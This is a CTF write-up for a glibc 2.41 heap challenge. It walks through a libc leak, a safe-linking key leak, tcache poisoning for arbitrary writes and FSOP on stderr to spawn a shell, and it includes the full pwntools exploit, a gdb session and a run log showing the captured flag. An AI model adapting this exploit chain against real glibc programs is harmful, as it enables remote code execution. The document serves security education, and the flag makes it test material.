- [Leakless Heap Exploitation - The House of Water | 🦊🏠](#)
- [Deep Dive into FSOP · Niftic's blog](#)
- [Intro to FSOP exploitation and House of Paper | ZeroClick](#)
- [\[diceCTF 2022 - pwn\] catastrophe // ret2school](#)
- [Imaginary CTF 2023 - HackMD](#)
- [Wide Open](#)
- [File Stream Oriented Programming: SECCON CTF 2020 - lazynote](#)
- [奇安信攻防社区-IO_file劫持利用—fsop](#)

It exploits the FILE structure used for stdin/stdout/stderr. When exit() is called, glibc 2.41 flushes all FILE streams via `_IO_flush_all()`. Then it iterates through FILE structures and calls virtual functions through vtables. It can be used to execute arbitrary code.

In [Wide Open](#), it describes this condition to call `_IO_OVERFLOW`:

```
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
    || (_IO_vtable_offset (fp) == 0
        && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                             > fp->_wide_data->_IO_write_base))
    )
    && _IO_OVERFLOW (fp, EOF) == EOF)
```

- We will be using condition 2
 - `_IO_vtable_offset (fp) == 0`
 - `fp->_mode > 0`
 - `(fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)`

Referring to [Leakless Heap Exploitation - The House of Water | 🦊🏠](#), we follow through this: <https://elixir.bootlin.com/glibc/glibc-2.41/source/stdlib/exit.c#L146>

```

145 void
146 exit (int status)
147 {
148     __run_exit_handlers (status, &__exit_funcs, true, true);
149 }
150 libc_hidden_def (exit)

```

We get the call chain:

```

exit()
-> __run_exit_handlers()
  -> __IO_cleanup() (follow through to genops.c)
    -> __IO_flush_all()
      -> __IO_OVERFLOW(fp, EOF) (follow through to libioP.h)
        -> vtable-> overflow(fp, EOF)
          -> __IO_wfile_overflow(fp, EOF)
            -> if ( __IO_write_base == NULL) <- Key check!
              -> __IO_wdoallocbuf(fp) (follow through to libioP.h)
                -> wide_vtable-> doallocate(fp)
                  -> system(fp) <- fp points to "/bin/sh"!

```

- `__IO_wdoallocbuf` calls `__doallocate(fp)` of the FILE pointer `fp`.
- If we put `system` at the `__doallocate` slot and put `/bin/sh` at the start of the FILE structure (`_flags` field), then `system(fp)` can become `system("/bin/sh")`.

First, set up our heap-allocated fake structures to be written to later. We could also get their address since we have a heap leak.

```

# allocate heap chunks for our fake structures
wd_idx, addr_wd = alloc_pair_and_recover_full(0x200, b"WIDEA", b"WIDEB")
vt_idx, addr_vt = alloc_pair_and_recover_full(0x200, b"VTBLA", b"VTBLB")

print(f"fake __IO_wide_data @ {hex(addr_wd)}")
print(f"fake wide_vtable @ {hex(addr_vt)}")

```

Then fill up all the slots with `system` so any vtable call will hit it.

```

# setup fake wide_vtable in heap
vt_payload = bytearray(b"\x00" * (0x200 - 1))

# fill every function pointer slot with system
system_addr = libc.sym["system"]
for offset in range(0, 0x100, 8): # first 256 bytes
    vt_payload[offset:offset+8] = p64(system_addr)

modify(vt_idx, bytes(vt_payload), pad=True)
print("Set up fake wide_vtable")

```

Build the fake wide data such that:

- `write_ptr > write_base` satisfies the flush condition,
- `write_base == NULL` triggers `__IO_wdoallocbuf` path,

- And `_wide_vtable` points to our fake vtable filled with system

```
# setup fake _IO_wide_data in heap
wd_payload = bytearray(b"\x00" * (0x200 - 1))

# set write pointers to trigger flush predicate
wd_payload[0x18:0x20] = p64(0)          # _IO_write_base = 0
wd_payload[0x20:0x28] = p64(1)          # _IO_write_ptr = 1 (> base)

# _IO_buf_base must be NULL to trigger allocation path
wd_payload[0x30:0x38] = p64(0)          # _IO_buf_base = NULL
wd_payload[0x38:0x40] = p64(0)          # _IO_buf_end = NULL

# point to fake wide vtable
wd_payload[0xE0:0xE8] = p64(addr_vt)    # _wide_vtable

modify(wd_idx, bytes(wd_payload), pad=True)
print("Set up fake _IO_wide_data")
```

We now try to corrupt `stderr` (modify `_IO_2_1_stderr`). We have to clear the buffer pointers to trigger allocation, but we also need `"/bin/sh"` in `_flags` field.

- If we clear it first, `"/bin/sh"` gets wiped.
- If we write `"/bin/sh"` first, clearing overwrites it.

We will write in a specific order:

- Control fields
 - + 0x70, `_vtable_offset` = 0
 - + 0xA0, `_wide_data` pointer
 - + 0xC0, `_mode`=1 and vtable
- Clear buffers
 - + 0x08 to 0x38, set all buffer pointers to NULL
 - This also clears `_flags` at +0x00
- Write `"/bin/sh"`
 - + 0x00

```
# get stderr address
stderr_addr = libc.sym.get("_IO_2_1_stderr_", libc.address + 0x1E84E0)
wfile_jumps = libc.sym.get("_IO_wfile_jumps", libc.address + 0x1E61C8)

# 1: set control fields that don't overlap with buffers
write_any(stderr_addr + 0x70, p64(0))
print("Set _vtable_offset = 0")

write_any(stderr_addr + 0xA0, p64(addr_wd))
print("Set _wide_data pointer")

write_any(stderr_addr + 0xC0, p32(1) + b"\x00"*0x14 + p64(wfile_jumps))
print("Set _mode=1 and vtable")

# 2: clear ALL buffer pointers (clears _flags too)
```

```

write_any(stderr_addr + 0x08, p64(0) + p64(0)) # read_ptr, read_end
write_any(stderr_addr + 0x10, p64(0) + p64(0)) # read_base, write_base
write_any(stderr_addr + 0x20, p64(0) + p64(0)) # write_ptr, write_end
write_any(stderr_addr + 0x30, p64(0) + p64(0)) # buf_base, buf_end
print("Cleared all buffer pointers")

# 3: write /bin/sh last (overwrites the cleared _flags)
write_any(stderr_addr + 0x00, b"/bin/sh\x00")
print("Set _flags = '/bin/sh'")

```

Trigger the exploit by calling the exit option, which will flush FILE streams and lead to `system("/bin/sh")`

```

print("FSOP complete! Triggering exit...")
do_exit()

io.interactive()

```

It failed. It did not go to `system()` at all. In fact it does not even continue past `_IO_wfile_overflow`.

```

# 3: write /bin/sh last (overwrites the cleared _flags)
write_any(stderr_addr + 0x00, b"/bin/sh\x00")
print("Set _flags = '/bin/sh'")

```

```
gdb.attach(io)
```

```

print("FSOP complete! Triggering exit...")
do_exit()

```

```
io.interactive()
```

```

warning: 44      ./nptl/cancellation.c: No such file or directory
(gdb) b system
Breakpoint 1 at 0x7f49b32dd110: file ../sysdeps/posix/system.c, line 207.
(gdb) c
Continuing.
[Inferior 1 (process 601849) exited normally]
(gdb) █

```

After stepping through the code and backtracing (bt), it seems to stop because it enters this clause at [this line](#).

```

if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
    f->_flags |= _IO_ERR_SEEN;
    __set_errno (EBADF);
    return WEOF;
}

```

Somehow `"/bin/sh\x00"` and even `"sh\x00\x00\x00\x00\x00\x00"` are messing with the condition.

Take a look at the `_flags` defined in [libio.h](#).

```
#define _IO_MAGIC          0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK     0xFFFF0000
#define _IO_USER_BUF       0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED     0x0002
#define _IO_NO_READS       0x0004 /* Reading not allowed. */
#define _IO_NO_WRITES      0x0008 /* Writing not allowed. */
```

Check result of (f->_flags & _IO_NO_WRITES)

- “/bin/sh\x00”
 - _IO_NO_WRITES is 0x0008, 1000 (bit 4) so it is affected by the 1st char “/” (1 char = 1 byte = 8 bits).
 - “/” is 0x2f in ASCII, 00101111 fills bits 1 to 8.
 - (f->_flags & _IO_NO_WRITES) = 0x2f & 0x0008 = 0x8
 - Evaluates to True, aborts.

The space char (0x20) when AND with _IO_NO_WRITES will give us 0, so the condition will not be met and we continue with the code. It just so happens that in Linux, if you type something like “ls” (aka “[space]ls”), it still works.

So try “/bin/sh” or “sh\x00”.

```
(kali㉿kali)-[~/Desktop]
$ python new-test.py
[+] Opening connection to 52.76.163.244 on port 5555: Done
libc_base: 0x7fdc587ec000
unsorted_fd: 0x7fdc589d3b20
[*] safe-link key: 0x5bc38c6a0
[+] heap addr: 0x5bc38c6a02c0
control chunk: idx=2, reclaimed as idx=7
fake _IO_wide_data @ 0x5bc38c6a04d0
fake wide_vtable @ 0x5bc38c6a08e0
Set up fake wide_vtable
Set up fake _IO_wide_data
[*] malloc@0x7fdc589d4550 → idx18
Set _vtable_offset = 0
[*] malloc@0x7fdc589d4580 → idx21
Set _wide_data pointer
[*] malloc@0x7fdc589d45a0 → idx24
Set _mode=1 and vtable
[*] malloc@0x7fdc589d44e0 → idx27
[*] malloc@0x7fdc589d44f0 → idx30
[*] malloc@0x7fdc589d4500 → idx33
[*] malloc@0x7fdc589d4510 → idx36
Cleared all buffer pointers
[*] malloc@0x7fdc589d44e0 → idx39
Set _flags = '/bin/sh'
FSOP complete! Triggering exit...
[*] Switching to interactive mode
Merry Christmas!
$ ls
flag.txt
run
$ cat flag.txt
HEX{h0_HO_hooOOoO_h34PS_of_fuN!}
```

HEX{h0_HO_hooOOoO_h34PS_of_fuN!}

Full exploit

```
from pwn import *

libc = ELF('./libc.so.6', checksec=False)
elf = ELF('./hohoheap', checksec=False)

# offsets from libc (never changes)
MAIN_ARENA_OFF = 0x1e7ac0      # from gdb once: p/x &main_arena - libc_base
UNSORTED_OFF = 0x1e7b20        # from leak = unsorted_fd - libc_base

# -----
# hohoheap helpers
# -----
next_idx = 0
sizes = {}

def add(size, data=b"", pad=True):
    global next_idx
    io.sendlineafter(b'Your choice:', b'1')
    io.sendlineafter(b'Gift size:', str(size).encode())
    if size > 0:
        if pad:
            data = data[:size-1].ljust(size-1, b"\x00")
        else:
            data = data[:max(0, size-1)]
        io.sendafter(b'Content:', data)
    sizes[next_idx] = size
    idx = next_idx
    next_idx += 1
    return idx

def view(idx):
    io.sendlineafter(b'Your choice:', b'2')
    io.sendlineafter(b'Gift index:', str(idx).encode())
    io.recvuntil(b'Gift content: ')
    data = io.recvuntil(b'Success!\n', drop=True)
    return data

def modify(idx, data=b"", pad=True):
    io.sendlineafter(b'Your choice:', b'3')
    io.sendlineafter(b'Gift index:', str(idx).encode())
    sz = sizes.get(idx, 0)
    if sz > 0:
        if pad:
            data = data[:sz-1].ljust(sz-1, b"\x00")
        else:
            data = data[:max(0, sz-1)]
    io.sendafter(b'Content:', data)

def remove(idx):
    io.sendlineafter(b'Your choice:', b'4')
    io.sendlineafter(b'Gift index:', str(idx).encode())
```

```

def give(idx, n):
    io.sendlineafter(b'Your choice:', b'5')
    io.sendlineafter(b'Gift index:', str(idx).encode())
    io.sendlineafter(b'How many gifts to give:', str(n).encode())

def cheer():
    io.sendlineafter(b'Your choice:', b'6')

def do_exit():
    io.sendlineafter(b'Your choice:', b'7')

def bug_santa_cheer(idx):
    give(idx, 1)
    cheer()

def alloc_pair_and_recover_full(size, dataA=b'A', dataB=b'B'):
    # allocate two chunks
    idxA = add(size, dataA, pad=False)
    idxB = add(size, dataB, pad=False)

    # free A (single node in tcache)
    bug_santa_cheer(idxA)
    A12 = u64(view(idxA)[:8].ljust(8, b"\x00")) # A >> 12

    # free B (now tcache has B -> A)
    bug_santa_cheer(idxB)
    enc = u64(view(idxB)[:8].ljust(8, b"\x00")) # enc = A ^ (B >> 12)

    # allocate twice to get B, then A back
    popB = add(size, b"POPB", pad=False) # returns B
    popA = add(size, b"POPA", pad=False) # returns A

    # free B again to get B >> 12
    bug_santa_cheer(popB)
    B12 = u64(view(popB)[:8].ljust(8, b"\x00")) # B >> 12

    # get A:
    # enc = A_full ^ B12
    # So: A_full = enc ^ B12
    A_full = enc ^ B12

    # verify
    if (A_full >> 12) != A12:
        log.warning("Heap address recovery mismatch!")

    return popA, A_full

# -----
# 0 : start process
# -----
#io = process('./hohoheap', env={'LD_LIBRARY_PATH': '.'})
io = remote("52.76.163.244", 5555)

```



```

# -----
# 1 : libc leak
# -----
# idx 0: size-0 chunk (use later for tcache[0x20])
add(0, b'\n')

# idx 1,2: large chunks 0x500 → unsorted
add(1280, b'A'*8 + b'\n') # idx 1
ctrl = add(0x100, b'B'*8 + b'\n') # idx 2

# free idx 1 via Santa into unsorted bin
give(1, 1)
cheer()

# view(1) reads freed chunk -> fd = &main_arena.bins[0]
leak = view(1)[:8] # 8-byte leak of unsorted chunk->fd
unsorted_fd = u64(leak.ljust(8, b'\x00'))
libc_base = unsorted_fd - UNSORTED_OFF
libc.address = libc_base

print("libc_base: ", hex(libc_base))
print("unsorted_fd: ", hex(unsorted_fd))

# make a stable control chunk
bug_santa_cheer(ctrl) # puts the chunk into tcache (via queue/free bug)

# -----
# 2 : safe-linking key leak
# -----
# single element in bin => fd == chunk_addr>>12
key = u64(view(ctrl)[:8].ljust(8, b'\x00')) # read the freed chunk's first qword
while it is still freed, confirms it's the singleton form chunk>>12
print("[*] safe-link key:", hex(key))

# -----
# 3 : recover heap address
# -----
wd_idx, addr_wd = alloc_pair_and_recover_full(0x200, b"WIDEA", b"WIDEB")
print(f"[+] heap addr: {hex(addr_wd)}")

# -----
# 4 : tcache poisoning
# -----
# keep track of control chunk state
control_idx = ctrl # the chunk we allocated earlier (idx 2)
control_free = True # track if currently freed

# reclaim it first (so we have a live handle)
reclaimed = add(0x100, b"RECL", pad=False)
control_free = False
print(f"control chunk: idx={ctrl}, reclaimed as idx={reclaimed}")

```

```
padding_counter = 0

def add_padding_chunk():
    # Add noise to tcache bin (ensures proper tcache state)
    global padding_counter
    pad_idx = add(0x100, f"PAD{padding_counter}".encode(), pad=False)
    padding_counter += 1
    bug_santa_cheer(pad_idx)
    return pad_idx

def free_control():
    # Free the control chunk if not already freed
    global control_free
    if control_free:
        return # already freed
    bug_santa_cheer(control_idx)
    control_free = True

def malloc_at(target, content=b"\x00"):
    """
    Allocate a chunk at arbitrary address 'target'

    1. Add padding chunk to tcache (ensures tcache has >1 entry)
    2. Free control chunk (adds it to tcache)
    3. Modify control chunk's fd to point to (target ^ key)
    4. Malloc once -> returns control chunk
    5. Malloc twice -> returns target address!

    Returns: (reclaim_idx, target_idx)
    """
    global control_free

    # 1. Add padding to tcache
    add_padding_chunk()

    # 2. Free control chunk into tcache
    free_control()

    # 3. Poison the fd pointer
    # tcache fd format: fd_encoded = target ^ (chunk_addr >> 12)
    modify(control_idx, p64(target ^ key))

    # 4. First allocation returns control chunk
    reclaim_idx = add(0x100, b"H" * 8, pad=False)

    # 5. Second allocation returns our target address!
    target_idx = add(0x100, content, pad=False)

    control_free = False
    log.info(f"malloc@{hex(target)} -> idx{target_idx}")

    return reclaim_idx, target_idx
```

```

def write_any(addr, data):
    """
    Write data to arbitrary address (handles alignment)

    tcache requires 16-byte alignment, so we:
    1. Align address down to nearest 16-byte boundary
    2. Calculate offset from aligned base
    3. Prepend padding to data to reach target offset

    Example:
    write_any(0x1234, b"ABCD")
    -> Aligns to 0x1230
    -> Writes: [4 bytes padding] + "ABCD"
    """

    base = addr & ~0xF          # Align down to 16 bytes
    off = addr - base           # Offset from aligned base
    payload = b"\x00" * off + data
    malloc_at(base, content=payload)

# -----
# 5 : FSOP
# -----
# allocate heap chunks for our fake structures
wd_idx, addr_wd = alloc_pair_and_recover_full(0x200, b"WIDEA", b"WIDEB")
vt_idx, addr_vt = alloc_pair_and_recover_full(0x200, b"VTBLA", b"VTBLB")

print(f"fake _IO_wide_data @ {hex(addr_wd)}")
print(f"fake wide_vtable @ {hex(addr_vt)}")

# setup fake wide_vtable in heap
vt_payload = bytearray(b"\x00" * (0x200 - 1))

# fill every function pointer slot with system
system_addr = libc.sym["system"]
for offset in range(0, 0x100, 8): # first 256 bytes
    vt_payload[offset:offset+8] = p64(system_addr)

modify(vt_idx, bytes(vt_payload), pad=True)
print("Set up fake wide_vtable")

# setup fake _IO_wide_data in heap
wd_payload = bytearray(b"\x00" * (0x200 - 1))

# set write pointers to trigger flush predicate
wd_payload[0x18:0x20] = p64(0)          # _IO_write_base = 0
wd_payload[0x20:0x28] = p64(1)          # _IO_write_ptr = 1 (> base)

# _IO_buf_base must be NULL to trigger allocation path
wd_payload[0x30:0x38] = p64(0)          # _IO_buf_base = NULL
wd_payload[0x38:0x40] = p64(0)          # _IO_buf_end = NULL

# point to fake wide vtable
wd_payload[0xE0:0xE8] = p64(addr_vt)    # _wide_vtable

```

```

modify(wd_idx, bytes(wd_payload), pad=True)
print("Set up fake _IO_wide_data")

# get stderr address
stderr_addr = libc.sym.get("_IO_2_1_stderr_", libc.address + 0x1E84E0)
wfile_jumps = libc.sym.get("_IO_wfile_jumps", libc.address + 0x1E61C8)

# 1: set control fields that don't overlap with buffers
write_any(stderr_addr + 0x70, p64(0))
print("Set _vtable_offset = 0")

write_any(stderr_addr + 0xA0, p64(addr_wd))
print("Set _wide_data pointer")

write_any(stderr_addr + 0xC0, p32(1) + b"\x00"*0x14 + p64(wfile_jumps))
print("Set _mode=1 and vtable")

# 2: clear ALL buffer pointers (clears _flags too)
write_any(stderr_addr + 0x08, p64(0) + p64(0)) # read_ptr, read_end
write_any(stderr_addr + 0x10, p64(0) + p64(0)) # read_base, write_base
write_any(stderr_addr + 0x20, p64(0) + p64(0)) # write_ptr, write_end
write_any(stderr_addr + 0x30, p64(0) + p64(0)) # buf_base, buf_end
print("Cleared all buffer pointers")

# 3: write /bin/sh last (overwrites the cleared _flags)
write_any(stderr_addr + 0x00, b" /bin/sh")
#write_any(stderr_addr + 0x00, b" sh\x00") # also works
print("Set _flags = ' /bin/sh'")

print("FSOP complete! Triggering exit...")
do_exit()

io.interactive()

```

Other references:

- <https://www.secquest.co.uk/white-papers/tcache-heap-exploitation>
- <https://blog.quarkslab.com/heap-exploitation-glibc-internals-and-nifty-tricks.html>